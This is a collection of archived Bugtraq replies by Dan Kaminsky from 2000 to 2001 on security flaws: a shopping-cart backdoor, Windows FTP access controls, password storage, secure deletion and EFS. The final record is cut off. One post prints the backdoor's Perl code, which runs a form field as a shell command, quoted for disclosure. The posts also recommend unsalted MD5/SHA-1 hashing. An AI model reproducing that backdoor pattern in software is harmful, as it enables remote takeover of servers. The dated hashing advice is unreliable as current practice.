[{"url": "https://seclists.org/bugtraq/2000/Apr/46", "subject": "Re: TB2 Pro sending NT passwords cleartext", "index_author": "Dan Kaminsky (Apr 11)", "frm": "dankamin () CISCO COM (Dan Kaminsky)", "date": "Wed, 12 Apr 2000 16:30:19 +1000", "body_html": "\n
\n\n
Netopia's proprietary graphic protocol is complicated\nenough to prohibit the decoding and display of data.\n
\n\nNo, it isn't.\n\nTal, I mean no disrespect, but it's just not technically correct to state\nthis.  No propietary graphic protocol is too complicated to decode,\nparticularly when the code necessary to decode the datastream ships with\nevery copy of your product.\n\nA claim like this is somewhat of an open challenge to interface with your\nDLLs with the packet stream, or to create a mangler to cause the client to\nbelieve it's watching someone at the desktop console manipulating their own\nmachine(when of course it's really someone else manipulating the console\nover the net.)\n\nI cannot say I completely disagree with you about which layer security\nshould be implemented at--it's far preferable to have one *good* security\narchitecture rather than a dozen *bad* ones that ship with each app.\nSomebody did say your protocol exclusively worked over UDP though, and for\nthe purposes of SSH redirection, it might be useful to those of us who are\nconcerned about being able to ad-hoc VPN for you to allow TCP-only\ntransmission if you do not already.  This also makes life easier for those\nof us behind firewalls.\n\nI speak for myself, not my company.\n\nYours Truly,\n\n    Dan Kaminsky\n    Cisco Systems, Network Supported Accounts\n    http://www.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2000/Apr/55", "subject": "Re: Back Door in Commercial Shopping Cart [Stormer Hosting]", "index_author": "Dan Kaminsky (Apr 14)", "frm": "dankamin () CISCO COM (Dan Kaminsky)", "date": "Fri, 14 Apr 2000 14:40:24 -0700", "body_html": "\n
\n\nThis is reasonably important--James Hart just about got himself in a whole\nmess of trouble, and it mainly stemmed from the fact that his email was to a\ncustomer, not to the BugTraq audience.\n\nJames Hart runs Stormer Hosting, an ISP that *HOSTS* Mr. Dansie's code but\ndoesn't appear to have much to do with the actual design of it.  He's just\nan OEM, essentially.\n\nI just got off the phone with him, and things are much clearer now.\n\nHere's what he was quoted as saying to one of his customers:\n\n"The software has a copyright protection feature that poses no security risk\nto your website or your web server. It's designed to prevent software piracy\nand prevent pirates from running unlicensed copies...There is "no" processes\nCraig can run on the server as this email suggest.  Yes, he can wipe the\nvars.dat to protect his copyright and prevent the cart from working, but the\nonly people that need to worry are "theifs" anyway. The cart "cannot"\nretrieve cc information or any other information that could cause a security\nrisk.  I personally talked with Brian McWilliams at www.internetnews.com on\nthe phone this morning.  He did not mention a single thing I said regarding\nthe cart.  He is out for a "story"."\n\nHere's the code that has everyone in an uproar(the script is also sending\nperiodic emails to its author, but that's nothing compared to this):\n\n########\nif ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) ||\n($FORM{'?????????'} ) && (!$d) ) )\n{\n    if ( $ENV{'OS'} )\n        {\n            system("$FORM{'?????????'}");\n        }\nelse\n        {\n            open(ELIF,"|$FORM{'?????????'}");\n        }\nexit;\n######\n\nOn its face, it looked very strongly like James was being extremely\ndishonest.  It took some time talking to him, but I finally figured out what\nhe was talking about:\n\nJames essentially refuses to trust the server that his customers use to\nserve the shopping cart to also server the SSL Credit Card acceptance.  So,\nwhenever a customer requests a secure credit card transaction, they're\n(insecurely) linked to a SSL acceptance script on a completely different,\nheavily locked down secure server.  Good protections on that server--PGP\nencrypted archives, Secure POP, etc.  He's made some effort on locking that\ndown, and thus he basically split his hosting operation between "stuff that\ncan die tommorow and we'll still be able to back it up" and "stuff that'll\nkill my business".\n\nTaken in this context, it makes pretty good sense for James to claim what he\ndid.  There *are* no processes that the CGI script can run on the server\nthat contains the credit card addresses.  Remote execution even on the\nuntrusted shopping cart is a hugely serious problem, and to be honest James\ndidn't fully understand the impact of that(he kept on referring to\n"attackers needing telnet or FTP access", not realizing that the backdoor\nessentially equates to that very same degree of access).  But he wasn't\nbeing dishonest or completely clueless when he made his claims; even with\nroot access on the insecure server, in *his* deployment of the Dansie\nshopping cart, the most valuable data was kept safe...with the exception of\nthe vars.dat, which appeared to contain the key for allowing the server to\nrun.\n\nI will leave the vitriol / security analysis of Dansie's cart to others;\ncertainly this is an interesting form of copy protection on Dansie's part.\nBut James wasn't being particularly dishonest; to be honest he didn't sound\nlike he fully understood the scope of the backdoor; he just didn't engineer\nenough trust in his network to really need to.  He did make some unfortunate\naccusations("Only thieves should be worried about this backdoor" ranks\npretty high; I'm sure quite a few thieves were interested to hear about this\nattack), but what he said was arguably accurate for his specific site.\n\nThere was an interesting lesson in all of this--whenever you send an email\nstating that you're not vulnerable to a security hole, make sure you\nemphasize why *you particularly* are not vulnerable and not that the hole\ndoesn't exist.  That may mean saying "We patched it" or "We run a newer\nversion of Redhat" or whatever, but don't ever appear like you're denying\nthe existence of the bug itself, unless you can do so with the same\ntechnical rigor that the bug was announced with in the first place.\n\nAlso don't ever, *ever* assume email to a customer will remain private.\nNever trust the client ;-)\n\nI speak for myself.\n\nYours Truly,\n\n   Dan Kaminsky\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2000/Apr/75", "subject": "Re: Back Door in Commercial Shopping Cart [RESOLVED]", "index_author": "Dan Kaminsky (Apr 17)", "frm": "dankamin () CISCO COM (Dan Kaminsky)", "date": "Mon, 17 Apr 2000 12:16:26 -0700", "body_html": "\n
\n\nJust to bring some closure to this, the Dansie Shopping Cart bug has been\nremoved--it should no longer either email him anti-piracy information nor\nallow any surreptitious access.  Craig is shipping the patch in his next\nupdate to all his customers; due to the nature of his script, all customers\nneed to update on a regular basis to remain functional.  So the bug should\ntruly be eradicated within the next few days.\n\nThis was actually taken care of on Friday, within a few hours of me\ncontacting a client of Dansie's(James Hart of Stormer Hosting; many thanks\nto him for hearing me out and acting so quickly).  They were pretty\nproactive once they understood their position.\n\nThis wasn't a malicious case, but it did illustrate just how dangerous a\nlack of security knowledge can be.  I'm curious if there's something along\nthe lines of a "two page checklist" for the non-security oriented programmer\nto look at (and be pointed to) that basically issues critical do's and\ndon'ts when programming anything that's network enabled.  Not something\nvague(but true) like "Don't trust anything from the client"...more along the\nlines of specifying MD5/SHA-1, never add a backdoor, never include\nidentifiable feedback, etc.\n\nI think alot of us simply take for granted just how much there is to know in\nthe security realm.  One only needs to look around to realize that good\nprogrammers can just do very bad things not out of malice or even stupidity\nbut just plain old lack of knowledge.  We can, and should, do something to\nfix that.\n\nYours Truly,\n\n    Dan Kaminsky\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2000/May/386", "subject": "Re: Mandrake 7.0: /usr/bin/cdrecord gid=80 (strike #2)", "index_author": "Dan Kaminsky (May 29)", "frm": "dankamin () CISCO COM (Dan Kaminsky)", "date": "Mon, 29 May 2000 20:41:13 -0700", "body_html": "\n
\n\n
U may say gid=80 (cdwriter) is useless but anyways here is the xploit\n
\n\nIf you've got cdwriter access, and they have a SCSI hard drive, then you\nshould theoretically have read/write access to their raw partitions.  I'm\nsure I don't need to go into depth on what that should mean.\n\nYours Truly,\n\n    Dan Kaminsky\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2000/Jul/229", "subject": "Re: Security hole in Win2K's FTP server", "index_author": "Dan Kaminsky (Jul 17)", "frm": "dankamin () CISCO COM (Dan Kaminsky)", "date": "Mon, 17 Jul 2000 16:09:45 -0700", "body_html": "\n
\n\n
Microsoft has introduced a security hole in the FTP server on Windows\n2000 Professional.\n
\n\nSurprisingly enough, this is true.  It's just not a hole for the reasons you\nmight think it is.\n\n
The properties panel for the service has controls\nfor specifying "accept" or "deny" lists, and the online help explains\nhow to use these controls to explicitly prohibit specific hosts from\nconnecting to the service, or restrict access to an enumerated set of\nhosts.  What the online help does not explain is that this security\nfunctionality has been turned off for the Professional version of\nWindows 2000.\n
\n\nYes, but the most important fact is that it's *obviously* been turned off.\nWhat you wrote above implies that I could set up an entire filter\nconfiguration like the documentation tells me I can, and then because it's\nWindows 2000 Professional, it'll silently fail.  This was enough of a\nconcern for me that I actually tested out the configuration, which, as\nothers have commented, "merely" manifests itself as greyed out tabs.\n\nGreying out advanced functionality that's only available in more advanced\nversions is a tried and true tactic among shareware authors, though I don't\nremember the last time I saw it in an actual professional package(i.e.\nPhotoStyler doesn't "hint" about Photoshop's advanced features).  It's not\nunheard of, and in and of itself, it's not a security issue.\n\nThe problem is, they've disabled a defensive mechanism against illicit\nusage.  In terms of security posture, there's really nothing weaker than the\nsecurity of a user's desktop--it's a machine built to fulfill the needs of\nan average user, not a security engineer.  There's quite a bit that can be\ndone at the perimeter of secured networks, and even at the perimeters of\nparticularly sensitive LANs(financial, etc.), but ideally security filters\ndown all the way to the desktop.  We've seen some extraordinarily expensive\nand damaging infections as a result of overdependance on server security,\nthat much is undeniable.\n\nThat's why I'll go so far as to say this is a security hole, if not\nintrinsically, at least eventually.  Microsoft has really worked so hard to\nmake their system network-secure, and yet here they are forcing desktop\nusers, the least security conscious of all, to utilize a permit-all rule for\ntheir desktop FTP servers.  (Of course, it's not ideally the desktop users\nthat configure their own remote services, but the ideal is rarer than it\nshould be.  Anyway I don't think that us IT Security wonks appreciate being\ntold by MS that the FTP service we *have* to deploy because of user demand\nalso *requires* permit-all functionality.)\n\nConsidering that FTP is a remote service that involves cleartext exchange of\nauthentication information, removing the capability to easily prevent entire\nclasses from IPs from even *offering* the correct username/password shared\nsecrets can do much to increase site security.  Even if IPs aren't\nparticularly cryptographically secure, the simple knowledge of which IPs are\nallowed access can be a secret unto itself, and spoofing IPs outside the\nlocal LAN is an order of magnitude more difficult as well.\n\nThere is, incidentally, a work around.  FTP operates on TCP port 21(for\ncontrol, anyway), and W2K Professional does support some degree of internal\nfirewalling through the Local Security Settings admin control panel.  There\nare some strange constraints to it--there's some perverse humor in a\nsecurity policy selector that, by default, has no concept of blocking\naccess--but it should suffice.\n\nThe end result, then, is not that Microsoft has effectively disabled FTP\naccess permissions, but that they made it much more difficult and obfuscated\nto effectively implement those permissions.  Making it much more\ninconvenient to implement security can be a very covert and extraordinarly\ndamaging strategy--see RProcess' writings on Selective DoS.  It's not\nsomething that's safe to do on a whim.\n\nThere's such a dearth of security implemented on the side of the desktop,\nand with this server code having the potential to be *so* widely deployed in\n*so* many otherwise clueless environments...it isn't really fair to call the\nattempted total removal of this functionality just petty or even ill\nadvised.\n\nIt's a judgement call, and it's kinda surprising me to say it, but yeah.\nThis is a security hole and it should be patched.  The service is too\nsensitive, the server is too widely deployed, the functionality is too\nstandard(is there a shareware FTP server that *doesn't* support some kind of\nIP blocking nowadays?), and the code is far, far, far too written.  There's\nno just no benefit to anyone to keep this functionality out--not even\nMicrosoft, interestingly enough.  (No, they don't win when their OS is\nremotely compromised, not even if they had a better version that might not\nhave been.)\n\nI don't think there was any malice here, just miscommunication between\nsecurity developers and product differentiators.  Miscommunications happen.\nIt's something we all know too well.\n\nYours Truly,\n\n    Dan Kaminsky\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2000/Jul/285", "subject": "Re: @stake Security Advisory: NetZero Password Algorithm", "index_author": "Dan Kaminsky (Jul 18)", "frm": "dankamin () CISCO COM (Dan Kaminsky)", "date": "Tue, 18 Jul 2000 21:22:09 -0700", "body_html": "\n
\n\n
Forward:\n    It is unfortunately common practice that applications which allow\nusers to remember their passwords as a convenience rarely encrypt them\nbut instead opt to simply obfuscate them.\n
\n\nActually, it's an unfortunately (verging on ridiculously) common practice to\nthink that there's any difference between encoding a password using a fixed\nalgorithm and "encrypting" a password using a fixed key.\n\nThere isn't one.\n\nThis is easily provable in terms of mere simplicity.  How hard is it to\nreverse engineer the instructions a binary executes to implement some\nhomebrew obfuscation?  Reasonably doable, but it's definitely at least a bit\nof work--much more work than just tracing the application opening up some\nfile "c:\\sekret.key" that happens to be the 168 bit Triple-DES key that'll\ndecrypt its password database.\n\nSo does that mean that 3DES is less secure than some homebrew?  No.  It\nmeans 3DES is being misused.  Badly.\n\nAny system that attempts to verify a password by comparing the password\nplaintext supplied against the correct password plaintext has already lost.\nNo matter how many obfuscations and contortions it goes through, it can\nnever escape the fact that the system itself must have permanently available\naccess to the password plaintext.  Encrypting the password with 3DES means\nnothing; the decryption key for the password is as functionally open as code\nfor the executable running the home brew system.  (Indeed, as we saw above,\nsince the secrecy is distilled rather than hidden in binary code, it's\nactually *easier* to rip off passwords when they're 3DES encrypted!)\n\nOf course, the obvious question is how a system verify the correctness of a\npassword without actually posessing that password.  It's a question that's\nrather repeatedly answered.  Password handling is simultaneously one of the\nfew Solved Problems of Cryptography *and* one of the most misunderstood.\nSimply store a MD5 or SHA-1 one-way hash of the password.  One way hashes\nlead to a fixed size, deterministic, and computationally unfeasable to\ninvert value from some amount of input data.  Passwords make great input\ndata.  When a plaintext password comes in, compare the MD5/SHA-1 hash of the\nsubmitted password with the stored hash.  If it matches, the password was\ncorrect.  If it doesn't match, the password wasn't correct.\n\nThere are (much) more advanced password exchange systems for network\npassword exchange, SRP for example, but if your system needs to locally\nverify a password from the user, *please*, before cryptographers around the\nworld walk out in disgust, at least just store a hash instead of the actual\nplaintext.  Hashes prevent plaintext-equivalent information from being\nstored at all.  That means there's nothing for an attacker to decrypt en\nmasse--he or she can only try password after password to see if it hashes\ncorrectly.\n\nThe core theoretical problem with encrypting *or* encoding passwords\nactually derives from the fact that different users--indeed, all users--are\nall dependant on one nonsecret:  Either a fixed algorithm or a fixed key is\nshared throughout the vendor's clientele.  There's no secrecy in my password\ndatabase if you've got the same password or algorithm protecting yours.\nSooner or later, one of us is going to post to Bugtraq the simple method to\ndecrypt the other's database.   With hashes, there exists no key that *can*\ndecrypt the database.\n\nOne reasonably simple solution(translation:  somebody contact me if this is\nin error) for those who have implemented a respected encryption system(RC4,\nBlowfish, even *DES* qualifies) to obfuscate access to their password\ndatabase is to encrypt passwords with themselves--i.e. encrypt "fg&^2jfa"\nwith the key "fg&^@jfa".  Using one way hashes essentially challenges a user\nto provide the only value that will invert the hash equation, i.e. the\noriginal data.  Encrypting content with itself similarly challenges a user\nto prove they have the only value that will invert the encryption equation,\nagain, the original data.  While plaintext is indeed stored on a host, only\nsomebody who already *has* the plaintext can access it.  That happens to\noverlap exactly with the intent of a password system.\n\nThe most common reason why hash systems aren't used, of course, is that\noften the plaintext is needed by the system for purposes outside of\nverification.  Sometimes the system needs to automatically represent itself\nas a user--with the user's passwords--in order to fulfill the demands of a\nprotocol.  This is primarily a problem with network authentication when no\nplaintext has been exchanged, only hashes.  But local authenticators will\n*always* have access to the plaintext password, because they control the\nuser interface that the user uses to actually enter it in the first place!\nIf the password is representing the user, then storing the plaintext in RAM\nwhile the user can be presumed to still be controlling the machine(two\nminutes since last keypress?) means the required password would be made\navailable.  The only reason a local authenticator would need to store an\neasily decryptable password is if, at arbitrary times when the user wasn't\naround to supply the password, the system needed to prove to itself or\nsomeone else that it indeed had the plaintext password.\n\nIndeed, it'd need to be able to access a password before a user ever entered\nit in the first place.  At that point, who exactly is the system\nrepresenting, anyway?  It's actually not an empty question.  Automated mail\ncheckers and instant messengers are often are expected to have access to a\nplaintext password without having to retrieve it from the user on each\nreboot.  At that point, the physical security of the system and the hard\ndrive is turned into the authentication token for the user controlling that\nsystem.  Given the mass of IM services I've known some people to run and the\nnumber of reboots this mass entails, forcing users to repetitively log in\nbecomes a difference between life and death.  Ideally, passwords of this\ntype would be locally managed by a single "identity password" that the user\ntyped in once on login and that never needed to be transmitted or recorded\nanywhere.  Security may begin with the physical, but it sure better not end\nthere.\n\nMost systems, however, simply don't have those kinds of requirements, and\nthat leads to the bottom line:  Use hashes.  It's a solved problem.  Stop\nhelping people hack your code, stop helping people hack our servers, stop\nhelping me quote Susan Powter.  Please.  Thank you.\n\nYours Truly,\n\n    Dan Kaminsky\n    Cisco Systems, Advanced Network Services\n    http://www.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2000/Oct/200", "subject": "Re: Shred 1.0 Bug Report", "index_author": "Dan Kaminsky (Oct 12)", "frm": "Dan Kaminsky ", "date": "Wed, 11 Oct 2000 16:16:31 -0700", "body_html": "\n
I therefore advise discontinuation of the use of the "shred" package. I\nhave no plans to bugfix or update it, since Tom Vier's "wipe" package\naccomplishes the same job, and in a more thorough fashion.\n
\n\nWipe is impressive, though srm and overwrite are generally what I've been\nusing(srm's recursive functionality is clean and simple).\n\nOddly enough, I've been questioning the value of attempting to shred disk\ncontents past what dedicated hardware can read.  In my mind, it may be more\nimportant to *by default* cause all files, or all files mounted on a given\n"secure partition", to be overwritten with just a single pass to prevent all\nsoftware based attacks from being successful.  Dedicated hardware implies\nphysical access to the hard drive--if your threat scenario grants that,\nthere's alot more damaging things they can do to your systems and your\ninfrastructure.  Contrast that with the threat of root being remotely\nbreached, and your disks being scanned for undeletable files.  As\ndistasteful as such a situation may be, it's just *far* more likely than a\nphysical break-in.\n\nIt's reasonably arguable how many passes of what kind of data(pseudorandom\nvs. patterned) actually can protect against a physical analysis--Gutmann's\npaper aside, the few companies and TLA's that do this sort of thing aren't\nparticularly open with their methods or capabilities.  However, there's no\nquestion that simply overwriting and wiping the data once, as is already\ndone in good operating systems when formerly used system memory is remapped\nto a new process, will protect against all software-based attacks--hard\ndrives simply lack the firmware commands to return deep scan information\nabout the physical surface.\n\nOften, such code hasn't been deployed because it slows down the system\nconsiderably when used in a synchronous manner.  For synchronous\nsingle-wiped deletion, if you delete a one gigabyte file, and you need to\nwait for a gig of pseudorandom data to be written to the hard drive before\nyou can access that space, you've got a three to five minute delay tacked on\nto whatever the file system already required to wipe that file.  That's\neasily enough to cause secure deletion to be disabled, especially because of\nall the non-obvious cases--a one gigabyte file is opened and replaced with a\none megabyte file.  For synchronous code, somewhere in that process a huge\ndelay has to be inserted to clear out the unused space.  For a user who just\nwants to save something, they're almost guaranteed to assume their machine\nhas crashed and reboot/kill -9.\n\nThis, most likely, leaves possibly security critical garbage data sitting on\nthe hard drive--the synchronous wipe was almost certainly disabled before it\ncould finish.  Never let it be said that user interfaces and security are\nnot intrinsically linked to one another.\n\nSince synchronous wiping on everything is infeasable, there are really two\nsolutions:  One, explicitly use userspace secure deletion utilities to wipe\nfiles we know are security critical.  This is where apps like shred, wipe,\nsrm, and overwrite come into play.  The other is a "lazy overwriting"\nasynchronous daemon, which sacrifices immediate security and code simplicity\nfor the ability to know that, within a certain amount of time after space is\nde-allocated, the former contents of that space will be overwritten and be\nno\nlonger recoverable.\n\nBy turning secure deletion into a non-blocking process, it might actually be\nfeasable to have it more widely deployed--one of the problems with userspace\ntools is you can't use them for *every* transaction(even if you replace the\nrm executable with srm, it doesn't help with simple clobbers a la cat >\nfile) and you have to know in advance which specific files are security\nsensitive.  If anything changes on your system, or if any apps do their own\nfile management...you've gotta modify your system configuration, sometimes\nto the point of changing source code.  That's in addition to the speed\npenalty.  Asynchronous methods can run whenever the system isn't heavily\nloaded.  Synchronous processes hold everything else up.\n\nI'm not aware of any projects to create an asychronous secure deletion\ndaemon, but believe me, I'd use one if I could find one.\n\n
Jeff, I do have to question whether it was appropriate to notify\nBugtraq, since "shred" was never, to my knowledge, a part of any Linux\ndistribution.\n
\n\nThis is *absolutely* irrelevant.  A security critical package failed to\nperform it's single security critical function.  Whether or not this was\nbecause of a change in file handling semantics is irrelevant:  Files that\npeople thought were wiped from their drives were almost certainly *not*.\n\nAt minimum, it's a great example of the law of unintended consequences and\nthe need to verify the functionality of one's code.  "It looks and sounds\nlike it's overwriting file, so it must be!" was how Shred was judged as\nfunctional.  Nobody had the tools before TCT(or grep /dev/hda, but I'm\ntalking convenience here) to see if the deletion actually worked.\n\nIt didn't, the report went out.  If a security list didn't post that\nsecurity software was insecure, it wouldn't be much of a security list!\n\nYours Truly,\n\n    Dan Kaminsky\n    Cisco Systems, Advanced Network Services\n    http://www.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2001/Jan/391", "subject": "Re: BugTraq: EFS Win 2000 flaw", "index_author": "Dan Kaminsky (Jan 24)", "frm": "Dan Kaminsky ", "date": "Wed, 24 Jan 2001 21:11:27 -0800", "body_html": "\n
Addendum to my thoughts on the apparent EFS design flaw, which is actually\nless significant than originally announced.  Essentially, only files that\nare converted FROM plaintext TO ciphertext are temped, meaning the bug only\naffects files that were plaintext on the disk in the first place.  There's\nstill a problem--temp files aren't overwritten, not even once--but EFS\ndoesn't become *at all* farce of a FS I thought it was.  (Of course, I\ndidn't know this as I wrote much of what's below, so if something reads\nfunny...that's why.)\n\nSpecific kudos to Scott Culp at Microsoft, whose response to Rickard's post\nwas well researched and nicely done.\n\n1)  As quite a few people noticed, I pasted in the wrong URL for Peter\nGutmann's Secure Deletion paper.  Ironic that, for all that I tend to talk\nabout the dangers of intermittent failures(as opposed to the clear-cut loss\nof service that tech support is generally built to verify and address),\nWindows' occasional tendancy to ignore a copy request would hit me.\n\nThe *correct* URL is as follows.\n\nhttp://www.cs.auckland.ac.nz/~pgut001/secure_del.html\n\nThis is incredible reading, even now, five years after it was authored.\n[Yes, Ben had to make a special post with the above URL, but I'm repeating\nit as an exhortation to everyone:  Read It!]\n\n2)  According to Russ Cooper(editor of NTBugTraq), Gutmann, as of two years\nago, said that the increased disk densities weren't yet posing a problem for\ndisk data recovery.  This fits well with the presumption that, as densities\ngo up, redundancies and error correction codes also increase their\neffectiveness.  A moderately interesting facet of memory design is that\napparently nearly every single DIMM has defects, but each chip on that DIMM\nhas extra blocks and integrated circuitry to detect bad memory and\ntransparently reroute into the extra storage areas.  This increases yields\nby providing tolerance against minor imperfections, at the cost of a\nslightly larger die.\n\nMore importantly to us, however, is the reassertion that logical reality has\nno required relationship with physical reality.  Memory can be logically\nsequential and physically random.  IP addresses can be logically grouped and\nphysically diverse.  Content on a hard drive can be logically erased but\nphysically immortal, due perhaps to a freak accident that causes a block to\nbe marked as bad and transparently duplicated elsewhere.  Remove from a hard\ndrive read head the constraints of size, mass production, writability,\nnon-destructivity, and even the requirement to survive shipping, and it\nbecomes very clear how simply because *one* physical apparatus (the\nread/write head shipped with the hard drive) cannot logically analyze a set\nof faded impressions in the magnetic media, that no other physical apparatus\nmight.\n\nInterestingly enough, the variation in "physical agility" doesn't just apply\nto readability; the ability to create physical impressions is also something\nthat varies absolutely unpredictably according to the flow of time, money,\nand criticality.  Since the sanctity of physical impressions are exactly\nwhat biometric systems attempt to authenticate against, one should realize\nthat a similar risk factor exists in biometric spoofing as exists in\nmulti-generation data recovery--more risk, since you probably don't need a\nclean room and expensive sensors to spoof a $25 optical fingerprint scanner;\nless risk, since hard drive data recovery doesn't require aquisition of the\nsecret(although it's likely that the last person to use that $25 fingerprint\nscanner will leave their prints on the scanner!)\n\nThe advantage of cryptography is that, overall, the belief that there's no\nefficient way to factor the product of two large primes is more "secure"\nthan the belief that there's no way to physically spoof a given set of\nphysical properties.  Done correctly, it allows us to *ignore* the\npossibility that our physical data routes might get compromised.  No, we\ndon't lose *all* physical security constraints, but we're able to physically\nisolate the value of our information from the bulk of our data.  The whole\nidea of an EFS is to grant the theoretical attacker full physical access to\na hard drive and *still* maintain security-- all the attackers receive is\nencrypted bulk data.\n\nThe problem, of course, is where to put the decryption key.  Having a\nplaintext decryption key next to a whole pile of encrypted data is about as\nsmart as etching the combination to a half ton safe right next to the wheel.\n(Given the cash rush into crypto, that hasn't stopped anyone from deploying\nsuch systems.  The system Crypto-Gram linked to at http://www.gianus.com/\ncomes to mind.)\n\nSo this is where crypto, for all its logical manipulations, is forced to\nintersect with the physical world.  Many systems depend on human memory to\ncontain some secret, although there are arguments that nobody can remember\nmore entropy than a computer can brute force through.  Other systems use\nhardware tokens to store their secrets.  As the crypto is isolated to its\nown subsystem, the physical requirements of that system can be tuned to only\nneed to protect that limited amount of data and nothing more.\n\nThat doesn't mean they're foolproof.  Human memory is defeatable via\nbribery, rubber hose cryptoanalysis, and the aforementioned size constraint.\nMost tokens are defeatable via side channel attacks.  But the odds of a\ndevice built for secure storage surviving assault are quite a bit better\nthan a system whose primary function is to, well, *function*.  A hard\ndrive's *job* is to store and allow retrieval of information in unnaturally\ndense and arbitrary formations.  We should not be surprised when such a\nsystem succeeds, even if we'd rather it fail.\n\nWhat should surprise us is when a cryptosystem *built* to prevent the\nrelevance of an unauthorized successful read makes presumptions that the\nunderlying medium will fail to reveal deleted data.  That's unfortunately\nwhat Microsoft's EFS implementation is doing--they're writing plaintext\ninformation, trivially deleting it after encryption, and saying the file has\nbeen protected behind a cryptographic key.\n\n3)  Timothy Miller mentioned something moderately important:  Placing a\nsystem into hibernation has the effect of dumping all live memory to disk in\nplaintext.  This obviously compromises whatever happens to be in memory,\nincluding the decryption keys that *need* to be in memory in order for\neveryday access to function.  Couple quirks which deserve mention:\n\nFirst, causing a system to drop into hibernation mode is conceivably a poor\nman's forensic toolkit.  Although it's definitely conceivable that malware\nmight detect the hibernation process and deploy countermeasures to prevent\nits detection, the concept of code defending against *anything* is possible,\nand moderately more likely vs. userland apps that need to be loaded from\nremote sources instead of something integrated with the kernel.  We've\nalready seen at least one virus that prevents connection to antivirus\nwebsites, for instance.\n\nSecond, simply encrypting the memory dump isn't necessarily going to help:\nWhere does the system put the key, presuming there's no hardware token to\nquery?  How does the system retrieve a password to decrypt that key without\nloading up the rest of Windows?  The MS worldview isn't exactly moving\ntowards having a Non-Win32 window pop up asking for a password, but bringing\nup a full Win32 environment arguably requires coming out of full\nhibernation--meaning the system needs to be able to load up system RAM\nwithout querying the user for a decryption code.\n\nFinally, if arbitrary users can send a machine into temporary\nhibernation(issue the command, then have a remote host send a Wake-On-LAN\nmagic packet), and has a pathway to do raw reads against the file\nsystem(this doesn't necessarily require physical access!), the EFS won't\nhelp--once the system comes back up, the attacker just needs to sort through\nthe hibernation data to retrieve key material.  Essentially, the EFS doesn't\nwin you anything above straight NTFS file permissions, since the key to\ndecrypt the NTFS file is available in the same pile the permissions you're\nbypassing are located.\n\nMind you, a token doesn't really help in this circumstance, since most\ntokens aren't used for bulk decryption.  Generally, the token will be used\nto decrypt some key file into memory, and that key will be used to encrypt\nand decrypt files.\n\nActually, I'm moderately curious how EFS does key selection--on a per file\nbasis?  Per block?  Is there salting?  File system crypto is moderately\ndifficult, due to issues like crash resistance, appending data to arbitrary\npoints within a file, etc.  This buglet happened due to an allowance made\nfor crash resistance--it'd be interesting to see whether anything else was\nexposed due to specific allowances made for this functional domain.\n\nYours Truly,\n\n    Dan Kaminsky\n    Cisco Systems, Inc.\n    http://www.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2001/Jan/332", "subject": "Re: BugTraq: EFS Win 2000 flaw", "index_author": "Dan Kaminsky (Jan 23)", "frm": "Dan Kaminsky ", "date": "Mon, 22 Jan 2001 16:07:29 -0800", "body_html": "\n
To the best of my knowledge, Peter Guttman(sp?) has demonstrated for years\nnow that there is no form of over-writing which makes any substantial\ndifference to the ability to recover previously written data from a\n
computer\n
hard disk.\n
\n\nGuttman's paper, "Secure Deletion of Data from Magnetic and Solid-State\nMemory" (available at\nhttp://www-tac.cisco.com/Support_Library/field_alerts/fn13070.html ) has\nbecome something of a classic, and for good reason:  It's absolutely\nfascinating reading, describing in detail what most of us suspected and some\nof us never imagined.\n\nThe paper, however, is five years old, and quite frankly needs to be\nunderstood in that context.\n\nNow, I'm *not* saying that Guttman's points are flawed, just that it's\nlikely that the mechanisms used to recover data from 300 Megabyte drives\nprobably don't scale to 80 Gigabyte disks using GMR(Gigantic\nMagnetoresistance) technology.  The extra surface area and analog bit\ndensity used to divine past generations of data has almost certainly been\nexploited in the 16x explosion in data density since Guttman's paper was\nwritten.\n\nMy *guess*, however, is that as drive densities have increased, the\nrequirements for more and more advanced error correction(to increase yields\non platters with miniscule deformities) has led to greater redundancy and\nincreased platter space to entirely redundant--and\nreconstructable--information\n\nFurthermore, it's impossible that drive scanning technology hasn't advanced\nin sync with drive capacity--the bottom line is, somebody needed to design\nthe sensors to work out the kinks from each generation of disk.  Companies\nlike OnTrack(who, incidentally, worked very well for me) have made rather\nsuccessful businesses of proven what's gone is not necessarily gone.\n\nSo essentially, Guttman was right, and Guttman is probably still right.  But\nthe technologies used to recover deleted data has probably advanced just as\nmuch as the technology used to store the data in the first place.\n\n
My understanding of current "high security" standards wrt the re-use of\ndisks which previously contained classified materials is that they only be\nre-used in similarly classified systems, or, are destroyed beyond any form\nof molecular reconstruction (e.g. melted).\n
\n\nExactly.  It is the job of the medium to store information.  It is the job\nof the incinerator to delete it.  Violation of the barriers between\nestablishing functionality and enforcing security leads to systems that\nallow too much access to an unstable service.\n\n
So to suggest that your perceived EFS flaw can be resolved by over-writing\nis naive. The only solution is to encrypt in memory or use some removable\npartition as the temp space.\n
\n\nRuss, you're absolutely correct about the need for memory encryption, though\nremovable media has equivalent risks(with the exception of possibly being\nmore conveniently incinerated).  The correct behavior is for a disk to never\nreceive anything that gives it plaintext-equivalent access to any of the\nactual information contained within the encrypted data.  That means no\ndecryption keys ever get written, no passwords get saved, and most\nimportantly, *no plaintext data gets stored, not even "temporarily"*. The\nmoment an "Encrypted File System" writes a plaintext version of the data to\nthe disk, all is lost--whether or not an apparently laughable delete(really,\n"dab white-out on the page number on the index in the back of the book)\noperation is actually carried out.\n\nLets not forget--an encrypted file system exists for *no other reason* but\nto resist attack.  Encryption does not add speed.  It does not add\nstability.  It does not add anything *but* resistance against an attacker\nwho lacks the key material.  If Rickard's analysis is correct--something\nthat should be independently verified--EFS offers attackers a rich array of\nsimple attacks that do not require discovery of the key material.  You can\ndraw your own conclusions from that.\n\nYours Truly,\n\n    Dan Kaminsky\n    Cisco Systems, Inc.\n    http://www.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2001/Jan/390", "subject": "Re: BugTraq: EFS Win 2000 flaw", "index_author": "Dan Kaminsky (Jan 24)", "frm": "Dan Kaminsky ", "date": "Wed, 24 Jan 2001 21:52:27 -0800", "body_html": "\n
